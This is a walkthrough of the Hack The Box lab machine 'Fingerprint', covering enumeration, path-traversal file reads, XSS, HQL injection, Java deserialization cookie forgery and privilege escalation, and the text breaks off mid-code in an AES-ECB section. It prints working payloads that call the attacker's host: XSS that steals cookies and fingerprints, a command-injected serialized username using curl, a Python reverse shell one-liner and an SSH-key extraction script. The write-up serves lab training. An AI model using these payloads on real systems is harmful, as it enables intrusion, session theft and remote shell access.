Hack-The-Box-walkthrough[fingerprint]

introduce

OS: Linux
Difficulty: Insane
Points: 50
Release: 04 Dec 2021
IP: 10.10.11.127

  • my htb rank

Enumeration

NMAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(root💀kali)-[~/hackthebox/machine/Fingerprint]
└─# nmap -p- -sV -sC -v --min-rate=10000 10.10.11.127
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 90:65:07:35:be:8d:7b:ee:ff:3a:11:96:06:a9:a1:b9 (RSA)
| 256 4c:5b:74:d9:3c:c0:60:24:e4:95:2f:b0:51:84:03:c5 (ECDSA)
|_ 256 82:f5:b0:d9:73:18:01:47:61:f7:f6:26:0a:d5:cd:f2 (ED25519)
80/tcp open http Werkzeug httpd 1.0.1 (Python 2.7.17)
|_http-title: mylog - Starting page
| http-methods:
|_ Supported Methods: HEAD OPTIONS GET
8080/tcp open http Sun GlassFish Open Source Edition 5.0.1
| http-methods:
| Supported Methods: GET HEAD POST PUT DELETE TRACE OPTIONS
|_ Potentially risky methods: PUT DELETE TRACE
|_http-title: secAUTH
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We have a couple interesting ports, both HTTP ports seem to be security applications. One for a python program called “mylog” and the other for “secAuth”:

Both sites require logins to use most of their functions. Instead we can start looking into what both of these are doing. As expected, this first server is a python server:

1
2
3
4
5
6
7
8
9
10
11
12
13
http://fingerprint.htb/

[200 OK] Country[RESERVED][ZZ],
HTML5,
HTTPServer
[Werkzeug/1.0.1 Python/2.7.17],
IP[10.129.117.121],
Python[2.7.17],
Script,
Title
[mylog - Starting page],
Werkzeug[1.0.1],
X-UA-Compatible[IE=edge]

The second is unusual, it’s a glassfish server which I’ve never seen before:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
http://fingerprint.htb:8080/

[200 OK] Country[RESERVED][ZZ],
HTML5,
HTTPServer
[GlassFish Server Open Source Edition 5.0.1],
IP[10.129.117.121],
Java[2.3][Servlet/3.1],
Script,
Sun-GlassFish
[5.0.1][Open Source Edition],
Title
[secAUTH],
X-Powered-By[Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition 5.0.1 Java/Private Build/1.8)],
X-UA-Compatible[IE=edge]

We only really have /login and /admin on the first site, the second site has a few more directories to work with:

We can start fuzzing general exploits and eventually find LFI in /admin/view which let’s view files. There’s some interesting usernames that could lead us to a potential foothold, such as flask. If we look into his home directory, we see the web-app’s source code. We can request the database that contains the user information and see if we can get a login:

1
2
3
4
5
6
7
8
GET /admin/view/../../../../../../../../../../../../../../../../home/flask/app/users.db HTTP/1.1
Host: fingerprint.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

This seems to contain a password:

1
admin:u_will_never_guess_this_password

We can grab app.py and see we have access to the config password:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from flask import Flask, redirect, request, render_template, session, g, url_for, send_file, make_response
from .auth import check

import os
from os import listdir
from os.path import isfile, join
import io

LOG_PATH = "/data/logs/"

app = Flask(__name__)

app.config['SECRET_KEY'] = 'SjG$g5VZ(vHC;M2Xc/2~z('

@app.before_request
def load_user():
uid = session.get("user_id")
g.uid = uid

@app.route("/")
def main():
return render_template('index.html')

@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == 'POST':
user = do_auth()
if user:
session["user_id"] = user[1]
return redirect(url_for("admin"), code=200)

return show_login()


def filter_logs(ip, logs):
if ip.startswith('127.0.'):
return '\n'.join(logs)
return '\n'.join(filtered_logs)


@app.route("/admin")
def admin():
#log_files = [(f, os.path.getsize(join(LOG_PATH, f))) for f in listdir(LOG_PATH) if isfile(join(LOG_PATH, f))]
log_names = [f for f in listdir(LOG_PATH) if isfile(join(LOG_PATH, f))]
log_files = []
for name in log_names:
f = open(join(LOG_PATH, name), 'r')
data = f.readlines()
f.close()
log_files.append((name, len(filter_logs(request.remote_addr, data))))

site_content=render_template('admin.html', log_files=log_files)

if g.uid is None or not g.uid:
resp = make_response(site_content, 302)
resp.headers['Location'] = '/login'
return resp

return site_content

@app.route("/admin/view/<path:log_path>")
def logs_view(log_path):

try:
path = LOG_PATH + log_path
with open(path, 'r') as file:
data = file.readlines()
return filter_logs(request.remote_addr, data)
except Exception as e:
return "No such log found!"

return None

@app.route("/admin/delete/<path:log_path>")
def logs_delete(log_path):

try:
path = LOG_PATH + log_path
os.remove(path)
return redirect(url_for("admin"))
except Exception as e:
return "No such log found!"

return data

def do_auth():
user = request.form.get('username')
password = request.form.get('password')

return check(user, password)

def show_login():
return render_template('login.html')
1
SjG$g5VZ(vHC;M2Xc/2~z(

We also have the source code used to check authentication:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import sqlite3

def check(user, password):

from .util import build_safe_sql_where

conn = sqlite3.connect('users.db')
cursor = conn.cursor()

cond = build_safe_sql_where({"username": user, "password": password})

query = "select * from users " + cond

cursor.execute(query)

rows = cursor.fetchall()

for x in rows:
return x

return None

We can check how SQL is made “safe” by grabbing it from the util file:

1
2
3
4
5
6
7
8
9
def build_safe_sql_where(m):
query = " where 1=1"
for (key, value) in m.items():
if not value or "'" in value or "\"" in value or " " in value:
return " where 1=0"
else:
query = query + " and "+ key+"='"+ str(value)+"'"

return query

Foothold

We can look back to the creds we found earlier from users.db and sign in as the admin. We have auth.log which is available to us and reflects sign in attempts on port 8080. We can easily get XSS using a simple payload and it gets reflected back to us via the log file:

The log file clears every minute or so. We can try PHP payloads instead however they don’t seem to be executed. (It’s a flask app so it won’t use PHP). We can go back to looking at app.py and see that any logs from localhost are filtered out so we may not be able to see execution regardless. Capturing it in burp also shows us something else interesting:

1
uid=admin&auth_primary=u_will_never_guess_this_password&auth_secondary=<script+src=%3d"http%3a//fingerprint.htb%3a8080//resources/js/login.js"></script>

After submitting this, we see there’s reference to a FingerprintID() function:

1
document.getElementById("auth_secondary").value = getFingerPrintID()

We can go to login.js and see the source code for this function:

1
2
3
4
5
6
7
8
9
10
11
function getFingerPrintID() {
let fingerprint = navigator.appCodeName + navigator.appVersion + (navigator.cookieEnabled ? "yes" : "no") + navigator.language + navigator.platform + navigator.productSub + navigator.userAgent + navigator.vendor + screen.availWidth + "" + screen.availHeight + "" + screen.width + "" + screen.height + "" + screen.orientation.type + "" + screen.pixelDepth + "" + screen.colorDepth + Intl.DateTimeFormat().resolvedOptions().timeZone;

for (const plugin of navigator.plugins) {
fingerprint += plugin.name + ",";
}
for (const mime of navigator.mimeTypes) {
fingerprint += mime.type + ",";
}
return MD5(fingerprint)
}

We can see that fingerprint is made up of a huge amount of information from the person navigating to the page then MD5 hashed. The MD5 hasing function can be seen at the top of the page:

1
2
3
4
var MD5 = function (d) {
var r = M(V(Y(X(d), 8 * d.length)));
return r.toLowerCase()
};

It makes reference to a load of sub functions. We can copy this over to our local machine and reuse it to steal the admin’s fingerprint. We can create the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
var MD5 = function (d) {
var r = M(V(Y(X(d), 8 * d.length)));
return r.toLowerCase()
};

function M(d) {
for (var _, m = "0123456789ABCDEF", f = "", r = 0; r < d.length; r++) _ = d.charCodeAt(r), f += m.charAt(_ >>> 4 & 15) + m.charAt(15 & _);
return f
}

function X(d) {
for (var _ = Array(d.length >> 2), m = 0; m < _.length; m++) _[m] = 0;
for (m = 0; m < 8 * d.length; m += 8) _[m >> 5] |= (255 & d.charCodeAt(m / 8)) << m % 32;
return _
}

function V(d) {
for (var _ = "", m = 0; m < 32 * d.length; m += 8) _ += String.fromCharCode(d[m >> 5] >>> m % 32 & 255);
return _
}

function Y(d, _) {
d[_ >> 5] |= 128 << _ % 32, d[14 + (_ + 64 >>> 9 << 4)] = _;
for (var m = 1732584193, f = -271733879, r = -1732584194, i = 271733878, n = 0; n < d.length; n += 16) {
var h = m, t = f, g = r, e = i;
f = md5_ii(f = md5_ii(f = md5_ii(f = md5_ii(f = md5_hh(f = md5_hh(f = md5_hh(f = md5_hh(f = md5_gg(f = md5_gg(f = md5_gg(f = md5_gg(f = md5_ff(f = md5_ff(f = md5_ff(f = md5_ff(f, r = md5_ff(r, i = md5_ff(i, m = md5_ff(m, f, r, i, d[n + 0], 7, -680876936), f, r, d[n + 1], 12, -389564586), m, f, d[n + 2], 17, 606105819), i, m, d[n + 3], 22, -1044525330), r = md5_ff(r, i = md5_ff(i, m = md5_ff(m, f, r, i, d[n + 4], 7, -176418897), f, r, d[n + 5], 12, 1200080426), m, f, d[n + 6], 17, -1473231341), i, m, d[n + 7], 22, -45705983), r = md5_ff(r, i = md5_ff(i, m = md5_ff(m, f, r, i, d[n + 8], 7, 1770035416), f, r, d[n + 9], 12, -1958414417), m, f, d[n + 10], 17, -42063), i, m, d[n + 11], 22, -1990404162), r = md5_ff(r, i = md5_ff(i, m = md5_ff(m, f, r, i, d[n + 12], 7, 1804603682), f, r, d[n + 13], 12, -40341101), m, f, d[n + 14], 17, -1502002290), i, m, d[n + 15], 22, 1236535329), r = md5_gg(r, i = md5_gg(i, m = md5_gg(m, f, r, i, d[n + 1], 5, -165796510), f, r, d[n + 6], 9, -1069501632), m, f, d[n + 11], 14, 643717713), i, m, d[n + 0], 20, -373897302), r = md5_gg(r, i = md5_gg(i, m = md5_gg(m, f, r, i, d[n + 5], 5, -701558691), f, r, d[n + 10], 9, 38016083), m, f, d[n + 15], 14, -660478335), i, m, d[n + 4], 20, -405537848), r = md5_gg(r, i = md5_gg(i, m = md5_gg(m, f, r, i, d[n + 9], 5, 568446438), f, r, d[n + 14], 9, -1019803690), m, f, d[n + 3], 14, -187363961), i, m, d[n + 8], 20, 1163531501), r = md5_gg(r, i = md5_gg(i, m = md5_gg(m, f, r, i, d[n + 13], 5, -1444681467), f, r, d[n + 2], 9, -51403784), m, f, d[n + 7], 14, 1735328473), i, m, d[n + 12], 20, -1926607734), r = md5_hh(r, i = md5_hh(i, m = md5_hh(m, f, r, i, d[n + 5], 4, -378558), f, r, d[n + 8], 11, -2022574463), m, f, d[n + 11], 16, 1839030562), i, m, d[n + 14], 23, -35309556), r = md5_hh(r, i = md5_hh(i, m = md5_hh(m, f, r, i, d[n + 1], 4, -1530992060), f, r, d[n + 4], 11, 1272893353), m, f, d[n + 7], 16, -155497632), i, m, d[n + 10], 23, -1094730640), r = md5_hh(r, i = md5_hh(i, m = md5_hh(m, f, r, i, d[n + 13], 4, 681279174), f, r, d[n + 0], 11, -358537222), m, f, d[n + 3], 16, -722521979), i, m, d[n + 6], 23, 76029189), r = md5_hh(r, i = md5_hh(i, m = md5_hh(m, f, r, i, d[n + 9], 4, -640364487), f, r, d[n + 12], 11, -421815835), m, f, d[n + 15], 16, 530742520), i, m, d[n + 2], 23, -995338651), r = md5_ii(r, i = md5_ii(i, m = md5_ii(m, f, r, i, d[n + 0], 6, -198630844), f, r, d[n + 7], 10, 1126891415), m, f, d[n + 14], 15, -1416354905), i, m, d[n + 5], 21, -57434055), r = md5_ii(r, i = md5_ii(i, m = md5_ii(m, f, r, i, d[n + 12], 6, 1700485571), f, r, d[n + 3], 10, -1894986606), m, f, d[n + 10], 15, -1051523), i, m, d[n + 1], 21, -2054922799), r = md5_ii(r, i = md5_ii(i, m = md5_ii(m, f, r, i, d[n + 8], 6, 1873313359), f, r, d[n + 15], 10, -30611744), m, f, d[n + 6], 15, -1560198380), i, m, d[n + 13], 21, 1309151649), r = md5_ii(r, i = md5_ii(i, m = md5_ii(m, f, r, i, d[n + 4], 6, -145523070), f, r, d[n + 11], 10, -1120210379), m, f, d[n + 2], 15, 718787259), i, m, d[n + 9], 21, -343485551), m = safe_add(m, h), f = safe_add(f, t), r = safe_add(r, g), i = safe_add(i, e)
}
return Array(m, f, r, i)
}

function md5_cmn(d, _, m, f, r, i) {
return safe_add(bit_rol(safe_add(safe_add(_, d), safe_add(f, i)), r), m)
}

function md5_ff(d, _, m, f, r, i, n) {
return md5_cmn(_ & m | ~_ & f, d, _, r, i, n)
}

function md5_gg(d, _, m, f, r, i, n) {
return md5_cmn(_ & f | m & ~f, d, _, r, i, n)
}

function md5_hh(d, _, m, f, r, i, n) {
return md5_cmn(_ ^ m ^ f, d, _, r, i, n)
}

function md5_ii(d, _, m, f, r, i, n) {
return md5_cmn(m ^ (_ | ~f), d, _, r, i, n)
}

function safe_add(d, _) {
var m = (65535 & d) + (65535 & _);
return (d >> 16) + (_ >> 16) + (m >> 16) << 16 | 65535 & m
}

function bit_rol(d, _) {
return d << _ | d >>> 32 - _
}

function objToString(obj) {
var str = '';
for (var p in obj) {
str += p + ':' + obj[p] + ',';
}
return str;
}


function getFingerPrintID() {
let fingerprint = navigator.appCodeName + navigator.appVersion + (navigator.cookieEnabled ? "yes" : "no") + navigator.language + navigator.platform + navigator.productSub + navigator.userAgent + navigator.vendor + screen.availWidth + "" + screen.availHeight + "" + screen.width + "" + screen.height + "" + screen.orientation.type + "" + screen.pixelDepth + "" + screen.colorDepth + Intl.DateTimeFormat().resolvedOptions().timeZone;

for (const plugin of navigator.plugins) {
fingerprint += plugin.name + ",";
}
for (const mime of navigator.mimeTypes) {
fingerprint += mime.type + ",";
}
return MD5(fingerprint)
}

location.href="http://10.10.14.25:8000/"+getFingerPrintID();

We can put this into a login.js file of our own and include it onto the page using:

1
<script src="http://10.10.14.25:8000/login.js"></script>

Our final request is:

1
uid=admin&auth_primary=u_will_never_guess_this_password&auth_secondary=<script+src%3d"http%3a//10.10.14.25%3a8000/login.js"></script>

We can get the fingerprint of the admin:

1
2
3
4
5
6
7
8
9
┌──(root💀kali)-[~/hackthebox/machine/Fingerprint]
└─# python2 -m SimpleHTTPServer 1 ⨯
Serving HTTP on 0.0.0.0 port 8000 ...
10.10.11.127 - - [03/Feb/2022 08:37:03] "GET /login.js HTTP/1.1" 200 -
10.10.11.127 - - [03/Feb/2022 08:37:03] code 404, message File not found
10.10.11.127 - - [03/Feb/2022 08:37:03] "GET /962f4a03aa7ebc0515734cf398b0ccd6 HTTP/1.1" 404 -
10.10.11.127 - - [03/Feb/2022 08:38:03] "GET /login.js HTTP/1.1" 200 -
10.10.11.127 - - [03/Feb/2022 08:38:03] code 404, message File not found
10.10.11.127 - - [03/Feb/2022 08:38:03] "GET /962f4a03aa7ebc0515734cf398b0ccd6 HTTP/1.1" 404 -

Next is to actually get logged in, we don’t have a username or password however can look into the docs of glassfish and see that it uses HQL (Not SQL) and try HQLi:

1
'962f4a03aa7ebc0515734cf398b0ccd6'

After my query, I get the following error:

1
2
org.hibernate.exception.JDBCConnectionException: Unable to acquire JDBC Connection
java.lang.IllegalArgumentException: org.hibernate.hql.internal.ast.QuerySyntaxException

We can look through some resources online and find a general payload syntax:

  • Hibernate Query Language Injection

We can try using a logical query and bypass the parts of the query that we don’t know:

1
uid=x' OR SUBSTRING(username,1,1)='m' and ''='&auth_primary=x&auth_secondary=962f4a03aa7ebc0515734cf398b0ccd6

We’re finally in however still no shell, we probably need another exploit. We can see there’s a file upload function on the main page, all files that are uploaded get placed in /images

This doesn’t get us particularly far. What’s more interesting is our cookie:

1
Cookie: JSESSIONID=fb8c54276d03b86ceee7d0244dcb; user=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoick8wQUJYTnlBQ0ZqYjIwdVlXUnRhVzR1YzJWamRYSnBkSGt1YzNKakxtMXZaR1ZzTGxWelpYS1VCTmR6NDErNWF3SUFCRWtBQW1sa1RBQUxabWx1WjJWeWNISnBiblIwQUJKTWFtRjJZUzlzWVc1bkwxTjBjbWx1Wnp0TUFBaHdZWE56ZDI5eVpIRUFmZ0FCVEFBSWRYTmxjbTVoYldWeEFINEFBWGh3QUFBQUFuUUFRRGRsWmpVeVl6STFNV1k0TURRMFkySXhPRGN3TVRNNU9USTRPVEZrTUdVMU9HTmxPVEU1TkdSbE4yWTFNelZpTVdJMFptRTJZbUptWlRBNE5qYzRaalowQUJSTVYyYzNaMVZTTVVWdFdEZFZUbmh6U25oeFduUUFDMjFwWTJobFlXd3hNak0xIn0.6dfequ2JzMYm2A6wgo6SU_pJWzWgqmGaChbRiXiEgTw

We can decode this and see there’s a serialized object:

1
sr!com.admin.security.src.model.User s_k I idL fingerprintt Ljava/lang/String;L passwordq~ L usernameq~ xp t@7ef52c251f8044cb187013992891d0e58ce9194de7f535b1b4fa6bbfe08678f6t LWg7gUR1EmX7UNxsJxqZt micheal1235

I didn’t have much luck with serialization. Instead we think back to /backups and see if there’s any useful java files. We can bruteforce them and find Profile.java and User.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// http://fingerprint.htb:8080/backups/Profile.java
package com.admin.security.src.model;

import com.admin.security.src.profile.UserProfileStorage;
import lombok.Data;

import java.io.File;
import java.io.IOException;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.List;

@Data
public class Profile implements Serializable {
private static final long serialVersionUID = 3995854114743474071L;

private final List<String> logs;
private final boolean adminProfile;

private File avatar;

public static Profile getForUser(final User user) {
// fetch locally saved profile
final File file = user.getProfileLocation();

Profile profile;

if (!file.isFile()) {
// no file -> create empty profile
profile = new Profile(new ArrayList<>(), user.isAdmin());
try {
user.updateProfile(profile);
} catch (final IOException ignored) {
}
}

// init logs etc.
profile = new UserProfileStorage(user).readProfile();

return profile;

}

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
// http://fingerprint.htb:8080/backups/User.java
package com.admin.security.src.model;

import com.admin.security.src.utils.FileUtil;
import com.admin.security.src.utils.SerUtils;
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;

import javax.persistence.*;
import java.io.File;
import java.io.IOException;
import java.io.Serializable;
import java.nio.file.Paths;

// import com.admin.security.src.model.UserProfileStorage;
@AllArgsConstructor
@NoArgsConstructor
@Entity
@Data
@Table(name = "users")
public class User implements Serializable {
private static final long serialVersionUID = -7780857363453462165L;

@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
@Column(name = "id")
protected int id;

@Column(name = "username")
protected String username;

@Column(name = "password")
protected String password;

@Column(name = "fingerprint")
protected String fingerprint;

public File getProfileLocation() {
final File dir = new File("/data/sessions/");
dir.mkdirs();

final String pathname = dir.getAbsolutePath() + "/" + username + ".ser";
return Paths.get(pathname).normalize().toFile();
}

public boolean isAdmin() {
return username.equals("admin");
}

public void updateProfile(final Profile profile) throws IOException {
final byte[] res = SerUtils.toByteArray(profile);
FileUtil.write(res, getProfileLocation());
}
}

We can see where our session is going to be written, in our case it’d be in micheal1235.ser however we want a session in admin.ser. We can do this be unserializing our current cookie value, changing ourselves to admin then re-serializing. Below is a convenient script made by sakertooth (https://github.com/sakertooth?tab=repositories):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
package com.admin.security.src.model;

import java.io.Serializable;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.IOException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.util.Base64;

/*
Quick disclaimer that I didnt get to see all the code so I made some generalizations (maybe I didnt need it idk 🤷)
This may or may not work.

That being said, the way I understand it is that Serializable allows for serialization and deserialization (obviously)
but only considers the fields when doing so. As such, the methods dont get serialized in any way, but all the fields remain.

For more info: https://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html
*/

public class User implements Serializable {
private static final long serialVersionUID = -7780857363453462165L;

private int id;
private String username;
private String password;
private String fingerprint;

public User() {
id = 0;
username = "";
password = "";
fingerprint = "";
}

int getId() {
return id;
}

String getUsername() {
return username;
}

String getPassword() {
return password;
}

String getFingerprint() {
return fingerprint;
}

void setId(int id) {
this.id = id;
}

void setUsername(String username) {
this.username = username;
}

void setPassword(String password) {
this.password = password;
}

void setFingerPrint(String fingerprint) {
this.fingerprint = fingerprint;
}
}

/*
The program takes in a file containing your serialized user (base64).
It then deserializes it, changes the username to admin,
serializes it back, and prints it to the console as base64.
*/
class Program {
public static void main(String[] args) {

if (args.length < 1) {
System.out.println("usage: ./program <base64 serialized user>");
return;
}

try {
byte[] serializedUserBytes = Base64.getDecoder().decode(args[0]);
ByteArrayInputStream serializedUserInputStream = new ByteArrayInputStream(serializedUserBytes);

ObjectInputStream objectInputStream = new ObjectInputStream(serializedUserInputStream);
User user = (User)objectInputStream.readObject();

System.out.println("User successfully deserialized:");
System.out.println("ID: " + user.getId());
System.out.println("Username: " + user.getUsername());
System.out.println("Password: " + user.getPassword());
System.out.println("Fingerprint: " + user.getFingerprint());

System.out.println("Changing username to 'admin' and serializing back...");
user.setUsername("admin");

ByteArrayOutputStream serializedUserOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(serializedUserOutputStream);
objectOutputStream.writeObject(user);

String serializedAdminUserBase64 = Base64.getEncoder().encodeToString(serializedUserOutputStream.toByteArray());
System.out.println("Serialization of original user but with the name to 'admin': " + serializedAdminUserBase64);
}
catch (IOException | ClassNotFoundException ex) {
System.out.println(ex.getMessage());
}
}
}

The output of which is:

1
2
3
4
5
6
7
User successfully deserialized:
ID: 2
Username: micheal1235
Password: LWg7gUR1EmX7UNxsJxqZ
Fingerprint: 7ef52c251f8044cb187013992891d0e58ce9194de7f535b1b4fa6bbfe08678f6
Changing username to 'admin' and serializing back...
Serialization of original user but with the name to 'admin': rO0ABXNyACFjb20uYWRtaW4uc2VjdXJpdHkuc3JjLm1vZGVsLlVzZXKUBNdz41+5awIABEkAAmlkTAALZmluZ2VycHJpbnR0ABJMamF2YS9sYW5nL1N0cmluZztMAAhwYXNzd29yZHEAfgABTAAIdXNlcm5hbWVxAH4AAXhwAAAAAnQAQDdlZjUyYzI1MWY4MDQ0Y2IxODcwMTM5OTI4OTFkMGU1OGNlOTE5NGRlN2Y1MzViMWI0ZmE2YmJmZTA4Njc4ZjZ0ABRMV2c3Z1VSMUVtWDdVTnhzSnhxWnQABWFkbWlu

We can resign our cookie using the secret from earlier: SjG$g5VZ(vHC;M2Xc/2~z(. After doing so, we have access to “recent logs”:

User own

Finally, we’re getting somewhere. The actual log feature isn’t useful as we already have access and know it’s vulnerable to XSS. Instead, we can continue with the serialization idea and attempt to get a reverse shell. We’ll save our admin cookie for now just in case:

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoick8wQUJYTnlBQ0ZqYjIwdVlXUnRhVzR1YzJWamRYSnBkSGt1YzNKakxtMXZaR1ZzTGxWelpYS1VCTmR6NDErNWF3SUFCRWtBQW1sa1RBQUxabWx1WjJWeWNISnBiblIwQUJKTWFtRjJZUzlzWVc1bkwxTjBjbWx1Wnp0TUFBaHdZWE56ZDI5eVpIRUFmZ0FCVEFBSWRYTmxjbTVoYldWeEFINEFBWGh3QUFBQUFuUUFRRGRsWmpVeVl6STFNV1k0TURRMFkySXhPRGN3TVRNNU9USTRPVEZrTUdVMU9HTmxPVEU1TkdSbE4yWTFNelZpTVdJMFptRTJZbUptWlRBNE5qYzRaalowQUJSTVYyYzNaMVZTTVVWdFdEZFZUbmh6U25oeFduUUFCV0ZrYldsdSJ9.lPDqZy7OX9cBclkxmK9gAx4SWiad_YFrjezvJO1apCA

We can repurpose the script (now knowing it works) to overwrite the username and perform RCE:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import com.admin.security.src.model.User;

import java.io.*;
import java.util.Base64;

public class edit {
public static void main(String[] args) throws IOException {

User user = new User();

//user.username = "admin";

//user.id = 0;
//user.fingerprint = "/data/sessions/admin.ser";

/*
FileOutputStream fileOut = new FileOutputStream("/tmp/userAdmin2.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(user);
*/


user.username = "../sessions/a$(curl http://10.10.14.25/)/../../../admin";
user.id = 0;
user.fingerprint = "/data/sessions/admin.ser";
user.password = "test";

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(user);
objectOutputStream.close();
String cookie = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());

System.out.println(cookie);

}
}

We can generate a reverse shell and update the script to use this:

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.25",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

We should then get a reverse shell. We see there’s a SUID binary available to us. Our goal here is to retrieve a id_rsa key for SSH using it, below is Yuma’s script for it (https://gist.github.com/Yuma-Tsushima07):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import os, sys 
sys.setrecursionlimit(10000)

letters = [' ','a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '\n', "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", '=', '/', '-', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '\+']


startpoint = "-----BEGIN OPENSSH PRIVATE KEY-----"
valid = " "

def getKey(str_bt):
for i in letters:
p = str_bt + i
out = os.popen(f'./cmatch example "{p}"').read()
a = out.replace("Found", "")
b = a.replace("Matches", "")
count = b.replace(":", "")

if(int(count) == 1):
str_bt = str_bt+ i
print(str_bt)
getKey(str_bt)

getKey(startpoint)

We do get a use-able key (with the name John), however we still need a password. Doing some source code analysis leads us to the existing java classes. One of which has a hibernate password commented out:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//   69: ldc 'hibernate.connection.username'
// 71: bipush #-13
// 73: pop
// 74: ldc 'htb'
// 76: <illegal opcode> llIIIIIlIIIlIlIllllI : (Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
// 81: bipush #-14
// 83: pop
// 84: pop
// 85: aload_1
// 86: ldc 'hibernate.connection.password'
// 88: bipush #42
// 90: pop
// 91: ldc 'q9Patz64fhtiVSO6Df2K'
// 93: <illegal opcode> IllllllllllllllllIll : (Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
// 98: pop
// 99: nop
// 100: aload_

Using this, we can get a shell.

Root own

We have a few backups, the one one was have access to is flask-app-secure.bak, we can copy this over to our local machine and enumerate it:

1
scp -i id_rsa john@fingerprint.htb:/var/backups/flask-app-secure.bak ./

We can look at the improvement notes and see that this is likely going to be crypto:

1
2
3
[x] fixed access control flaw
[x] introduced authorization
[x] safe authentication with custom crypto

There is a custom encryption in place that we need to try crack. There is a service running on port 8080 which is likely this flask app, we can forward this to ourselves too:

1
ssh -L 8080:localhost:8080 -i id_rsa john@fingerprint.htb

Look familiar? It’s the same app before just using a different authentication method. We can re-use the XSS from before and see if we can get the box to connect back to us.

1
<script>document.location%3d"http%3a//10.10.14.25%3a81/"%2bdocument.cookie</script>

We get the following:

1
2
3
4
5
┌──(root💀kali)-[~/hackthebox/machine/Fingerprint]
└─# python2 -m SimpleHTTPServer 81 1 ⨯
Serving HTTP on 0.0.0.0 port 81 ...
10.10.11.127 - - [03/Feb/2022 11:01:05] code 404, message File not found
10.10.11.127 - - [03/Feb/2022 11:01:05] "GET /user_id=49f5f0062780bed62dc06bf4a8d2dd9cb5c3fda50e19a5a840262c26c001bb0338550635d9fd36fef81113d9fbd15805193308e099ee214406b0a87c0b6587fb HTTP/1.1" 404 -

This does appear to be static so we don’t have much to worry about. It appears to be using AES-ECB:

Here are the functions for this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
SECRET = "password"
KEY = "mykey"
cryptor = AES.new(KEY, AES.MODE_ECB)

def decrypt(data):
result = cryptor.decrypt(data.decode("hex"))
pad_len = ord(result[-1])
return result[:-pad_len]

def encrypt(data):
# do some padding
block_size = 16
pad_size = block_size - len(data) % block_size
padding = chr(pad_size) * pad_sizestart_block_gap = 64
